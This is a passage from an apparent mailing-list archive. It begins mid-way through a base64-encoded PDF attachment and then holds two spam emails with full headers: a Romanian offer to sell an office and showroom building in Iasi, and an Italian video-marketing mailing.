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 GyJim/GCv3slzdm8T1TGrBYFH5e9eEmckeInkUg+Ca5BlNWG3f0s/4AuF6JDKn1ThglWg9FUyoxm jIrirS6Rscjmmj2/58tTdkTs215orqzzUeBTlxlns/5s+hkViSQOyA6TRCL5JGSxJDWUydWlgux3 wzDtXdlZ6PBimjWN0g0gRXmrKJQDKqhQ0U50Dp1xc2p5kv2aFWFvckF8l1FZXj4pDOXrv4FtBAQ8 gSGVT/KxSM9PIpF8MdjtUaKV/1LRppTBi/bfp8u36LvaVCX8e5oSySdBip9EIpFIkh3ytqdEIpFI kh1S/CQSiUSS7JDiJ5FIJJJkhxQ/iUQikSQ7pPhJJBKJJNkhxU8ikUgkyQ4pfhKJRCJJdkjxk0gk EkmyQ4qfRCKRSJIdUvwkEolEkuyQ4ieRSCSSZIcUP4lEIpEkO6T4SSQSiSTZIcVPIpFIJMkOKX4S iUQiSXZI8ZNIJBJJskOKn0QikUiSHVL8JBKJRJLskOInkUgkkmSHFD+JRCKRJDuk+EkkEokk2SHF TyKRSCTJDil+EolEIkl2SPGTSCQSSbJDip9EIpFIkh1S/CQSiUSS7JDiJ5FIJJJkBtH/AfJEQyEK ZW5kc3RyZWFtCmVuZG9iagozIDAgb2JqCjw8L0xlbmd0aCA2OC9GaWx0ZXIvRmxhdGVEZWNvZGU+ PnN0cmVhbQp4nCvkKlQwtTRVMABCCxMDPVNLEFPP3MDM2FIhOVdBPzM33UDBJV8hkCuQq5DLKYTL 2EzBwsBMISSFyzUEKAYAzCkN9gplbmRzdHJlYW0KZW5kb2JqCjUgMCBvYmoKPDwvVHlwZS9QYWdl L01lZGlhQm94WzAgMCA1OTUgODQyXS9SZXNvdXJjZXM8PC9Qcm9jU2V0IFsvUERGIC9UZXh0IC9J bWFnZUIgL0ltYWdlQyAvSW1hZ2VJXS9YT2JqZWN0PDwvaW1nMCAyIDAgUj4+Pj4vQ29udGVudHMg MyAwIFIvUGFyZW50IDQgMCBSPj4KZW5kb2JqCjQgMCBvYmoKPDwvVHlwZS9QYWdlcy9Db3VudCAx L0tpZHNbNSAwIFJdL0lUWFQoNS4xLjMpPj4KZW5kb2JqCjYgMCBvYmoKPDwvVHlwZS9DYXRhbG9n L1BhZ2VzIDQgMCBSPj4KZW5kb2JqCjcgMCBvYmoKPDwvUHJvZHVjZXIoY29udmVydGZpbGVvbmxp bmUuY29tKS9DcmVhdGlvbkRhdGUoRDoyMDEzMTIyNzExNTMzNiswMScwMCcpL01vZERhdGUoRDoy MDEzMTIyNzExNTMzNiswMScwMCcpPj4KZW5kb2JqCnhyZWYKMCA4CjAwMDAwMDAwMDAgNjU1MzUg ZiAKMDAwMDAwMDAxNSAwMDAwMCBuIAowMDAwMDAyNzAzIDAwMDAwIG4gCjAwMDAxMjgyNjcgMDAw MDAgbiAKMDAwMDEyODU2MyAwMDAwMCBuIAowMDAwMTI4NDAxIDAwMDAwIG4gCjAwMDAxMjg2MjYg MDAwMDAgbiAKMDAwMDEyODY3MSAwMDAwMCBuIAp0cmFpbGVyCjw8L1NpemUgOC9Sb290IDYgMCBS L0luZm8gNyAwIFIvSUQgWzwzNTkxNGRhMjg4NjllMDI5YTcxZGIyYTlhM2YwZjEyMT48OTAwMjI1 YjAyNTA1MzQ3MDk1MWYyMTViNDFmOWQ2YTA+XT4+CnN0YXJ0eHJlZgoxMjg3OTQKJSVFT0YK ------=_NextPart_000_076B_01CF0CC0.7FC031F0-- From t-bounce-cedc1a7e-78b8-11e3-8080-808080808080-xfs=oss.sgi.com@nl.business-romania.net Wed Jan 8 17:39:59 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: **** X-Spam-Status: No, score=4.2 required=5.0 tests=DEAR_SOMETHING, HTML_IMAGE_ONLY_32,HTML_MESSAGE,T_DKIM_INVALID,T_REMOTE_IMAGE autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 5A31D7F4E for ; Wed, 8 Jan 2014 17:39:59 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id DF72EAC004 for ; Wed, 8 Jan 2014 15:39:52 -0800 (PST) X-ASG-Debug-ID: 1389222096-04bdf00fe059bb60001-NocioJ Received: from send2.nl.business-romania.net (send2.nl.business-romania.net [50.115.174.104]) by cuda.sgi.com with ESMTP id 5kcfoFW7HnEss39c for ; Wed, 08 Jan 2014 15:01:36 -0800 (PST) X-Barracuda-Envelope-From: t-bounce-cedc1a7e-78b8-11e3-8080-808080808080-xfs=oss.sgi.com@nl.business-romania.net X-Barracuda-Apparent-Source-IP: 50.115.174.104 Received: from business-romania (sarin.newsmanapp.com [144.76.203.142]) by send2.nl.business-romania.net (Postfix) with ESMTP id 4F535176113 for ; Wed, 8 Jan 2014 23:05:02 +0000 (UTC) DKIM-Signature: v=1; a=rsa-sha256; c=simple/simple; d=nl.business-romania.net; s=default; t=1389222302; bh=l/rWzimYHD1IXG2bgEfcj3rujU1yL7u0OaSWy9OD834=; h=Subject:List-Unsubscribe:From:Reply-To:To:Date:From; b=MFHxpfSRnK2aXS6HOTqvuJOKA1HQ4U6HboQ9q1A8LmwB8fugolBfWy7EpJD/CGcuj CtJ6ggblZ5JYTAjChXKmoIe9F2Drx6rowwxFaQVRhz+ElpbUSpVGL1bigcSUDoMyUa s8jTzNcpnD8QuuAH7dvZKT3lywAExxwfTlD7MVTo= Subject: Offices & Showroom Building for sale in IASI, Romania X-Priority: 3 X-ASG-Orig-Subj: Offices & Showroom Building for sale in IASI, Romania Content-Type: multipart/alternative; boundary="===============6838621305291943273==" MIME-Version: 1.0 Message-Id: <20140108230129.43914.cedc1a7e-78b8-11e3-8080-808080808080.crbrmail@nl.business-romania.net> List-Unsubscribe: From: office@allforprintmarket.com Reply-To: office@allforprintmarket.com To: xfs@oss.sgi.com Date: Wed, 08 Jan 2014 23:01:29 -0000 X-Barracuda-Connect: send2.nl.business-romania.net[50.115.174.104] X-Barracuda-Start-Time: 1389222096 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.40 X-Barracuda-Spam-Status: No, SCORE=0.40 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_SA085b, DKIM_SIGNED, DKIM_VERIFIED, HTML_IMAGE_ONLY_32, HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143881 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature 0.00 HTML_IMAGE_ONLY_32 BODY: HTML: images with 2800-3200 bytes of words 0.00 HTML_MESSAGE BODY: HTML included in message 0.40 BSF_SC0_SA085b Custom Rule SA085b --===============6838621305291943273== Content-Type: text/plain; charset="utf-8" MIME-Version: 1.0 Content-Transfer-Encoding: quoted-printable [1]: http://www.allforprintmarket.com/ # Offices & Showroom Building for sale in IASI, Romania Dear Sirs, We have on sale an Offices & Showroom Building, a former auto service, in the center of IASI city, the 4th biggest city in Romania, with a population of more than 300000 inhabitans. The assets consist of: 1/ BUILDING built in 2007 - 2 levels: 818 sqm ground floor + 641 sqm first floor - heights: 4 m ground floor + 3 m first floor - construction of reinforced concrete, brick exterior walls, thermo-plated,= exterior curtain wall joinery, fitted with double glazing secure layer (li= nk) and reflective exterior shutters, double pedestrian door automatic 3-do= or electric freight access, simple wicket, Terrace circulating Granuflex co= ated, 4 skylights wide area - equipped with automatic smoke vents, 3 stairc= ases, 1 elevator, 5 bathrooms, air conditioning GEA, with fan, heating gas = boiler Buderus, installations for card access at the administrative area; 2/ LAND: - 1068 sqm - owner property - 34 sqm - possession undocumented - 122 sqm - concesioned from the City Hall - 20 parking places IASI city is the capital of IASI county, the biggest county in Romania, with a population of 772000 inhabitans. Price: On Request Looking forward to your answer. Best Regards, Catalin Rusu Rusu E Catalin PFA Sos Nicolina nr 40, 700687 - IASI ROMANIA VAT 30548758 F22/2172/14.08.2012 Mobile: +40 735 886 201 Fax: +40 372 877 165 office@business-romania.net www.business-romania.net This is an informing email and it shouldn\' t be spam. If you don\' t want to receive emails from business-romania.net send a reply to this email with the message DELETE --===============6838621305291943273== Content-Type: text/html; charset="utf-8" MIME-Version: 1.0 Content-Transfer-Encoding: quoted-printable

Offices &= Showroom Building for sale in IASI, Romania


Dear Sirs,



We have on sale an Offices & Showroom Building, a former auto service, = in the center of IASI city, the 4th biggest city in Romania, with a popula= tion of more than 300000 inhabitans.

The assets consist of:

1/ BUILDING built in 2007
- 2 levels: 818 sqm ground floor + 641 sqm first floor
- heights: 4 m ground floor + 3 m first floor
- construction of reinforced concrete, brick exterior walls, thermo-plated,= exterior curtain wall joinery, fitted with double glazing secure layer (li= nk) and reflective exterior shutters, double pedestrian door automatic 3-do= or electric freight access, simple wicket, Terrace circulating Granuflex co= ated, 4 skylights wide area - equipped with automatic smoke vents, 3 stairc= ases, 1 elevator, 5 bathrooms, air conditioning GEA, with fan, heating gas = boiler Buderus, installations for card access at the administrative area;
2/ LAND:
- 1068 sqm - owner property
- 34 sqm - possession undocumented
- 122 sqm - concesioned from the City Hall
- 20 parking places


IASI city is the capital of IASI county, the biggest county in Romania, wit= h a population of 772000 inhabitans.

Price: On Request

Looking forward to your answer.




Best Regards,
Catalin Rusu


Rusu E Catalin PFA
Sos Nicolina nr 40, 700687 - IASI
ROMANIA
VAT 30548758
F22/2172/14.08.2012

Mobile: +40 735 886 201
Fax: +40 372 877 165
office@business-romania.net
www.business-romania.net



This is an informing email and it shouldn\' t be spam. If you don\' t want = to receive emails from business-romania.net send a reply to this email with= the message DELETE


=C2=A0
--===============6838621305291943273==-- From noreply@ita-engine.net Thu Jan 9 03:29:16 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: ** X-Spam-Status: No, score=2.2 required=5.0 tests=HTML_IMAGE_ONLY_32, HTML_MESSAGE autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 795067F4E for ; Thu, 9 Jan 2014 03:29:16 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 5ED2B8F8037 for ; Thu, 9 Jan 2014 01:29:04 -0800 (PST) X-ASG-Debug-ID: 1389259741-04cbb04167cbcd60001-NocioJ Received: from server7.ita-engine.net (server7.ita-engine.net [149.210.145.248]) by cuda.sgi.com with ESMTP id RAxXWmqkuzBW454e for ; Thu, 09 Jan 2014 01:29:01 -0800 (PST) X-Barracuda-Envelope-From: noreply@ita-engine.net X-Barracuda-Apparent-Source-IP: 149.210.145.248 Received: from 30seconds.ita-engine.net (server6.ita-engine.net [204.188.195.192]) by server7.ita-engine.net (Postfix) with ESMTP id 4759B3C0333 for ; Thu, 9 Jan 2014 10:28:59 +0100 (CET) Date: Thu, 9 Jan 2014 08:54:23 +0100 To: xfs@oss.sgi.com From: "video@30seconds.it" Reply-To: "video@30seconds.it" Subject: =?UTF-8?Q?fatti_conoscere_dal_tuo_pubblico_=E2=80=A6_scopri_come?= Message-ID: <66b01764fc33fa4ddab34cf7b9624edd@localhost.localdomain> X-ASG-Orig-Subj: =?UTF-8?Q?fatti_conoscere_dal_tuo_pubblico_=E2=80=A6_scopri_come?= X-Priority: 5 X-Mailer: Apple Mail (2.1283) X-MC-version: 4 X-MessageID: 11 X-ListMember: xfs@oss.sgi.com Precedence: bulk Bounces-To: noreply@ita-engine.net MIME-Version: 1.0 (Apple Message framework v1283) Content-Type: multipart/alternative; boundary="b1_66b01764fc33fa4ddab34cf7b9624edd" X-Barracuda-Connect: server7.ita-engine.net[149.210.145.248] X-Barracuda-Start-Time: 1389259741 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=HTML_IMAGE_ONLY_32, HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143899 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 HTML_IMAGE_ONLY_32 BODY: HTML: images with 2800-3200 bytes of words 0.00 HTML_MESSAGE BODY: HTML included in message --b1_66b01764fc33fa4ddab34cf7b9624edd Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: quoted-printable Se ha difficolt=C3=A0 a visualizzare questa e-mail clicchi qui . Informativa ai sensi del Decr.Lgs Privacy n.196/2003: I dati in nostro possesso vengono impiegati con principali scopi amministrativi, fiscali e di comunicazione aziendale comunque nei termini previsti dalla normativa vigente. In ogni momento l'interessato potr=C3=A0 avvalersi dei diritti e nelle modalit=C3=A0 previste della Legge. Il titolare del trattamento =C3=A8 Thirty Seconds Milano. Indirizzo e-mail: info@30seconds.it Questo messaggio di posta elettronica contiene informazioni di carattere confidenziale rivolte esclusivamente al destinatario sopra indicato. =C3=88 vietato l'uso, la diffusione, distribuzione o riproduzione da parte di ogni altra persona. Confidential Notice: This e-mail transmission may contain legally privileged and/or confidential information. Please do not read it if you are not the intended recipient(S). Any use, distribution, reproduction or disclosure by any other person is strictly prohibited. If you have received this e-mail in error, please notify the sender and destroy the original transmission and its attachments without reading or saving it in any manner. Questo messaggio =C3=A8 stato inviato a xfs@oss.sgi.com da video@30seconds.= it Se volete rimuovervi selezionate qui. =20 --b1_66b01764fc33fa4ddab34cf7b9624edd Content-Type: text/html; charset=UTF-8 Content-Transfer-Encoding: quoted-printable =09

Se ha difficoltà a visualizzare que= sta e-mail clicchi= qui.

3D""

Informat= iva ai sensi del Decr.Lgs Privacy n.196/2003: I dati in nostro possesso ven= gono impiegati con principali scopi amministrativi, fiscali e di comunicazi= one aziendale comunque nei termini previsti dalla normativa vigente. In ogn= i momento l'interessato potrà avvalersi dei diritti e nelle moda= lità previste della Legge. Il titolare del trattamento è Thir= ty Seconds Milano. Indirizzo e-mail: info@30seconds.it Questo messaggio di = posta elettronica contiene informazioni di carattere confidenziale rivolte = esclusivamente al destinatario sopra indicato. È vietato l'uso, = la diffusione, distribuzione o riproduzione da parte di ogni altra persona.= Confidential Notice: This e-mail transmission may contain legally privileg= ed and/or confidential information. Please do not read it if you are not th= e intended recipient(S). Any use, distribution, reproduction or disclosure = by any other person is strictly prohibited. If you have received this e-mai= l in error, please notify the sender and destroy the original transmission = and its attachments without reading or saving it in any manner.

Questo messaggio è stato inviato a xfs@oss.sgi.com da video@30sec= onds.it

Se volete rimuovervi selezionate qui.

 

=0A
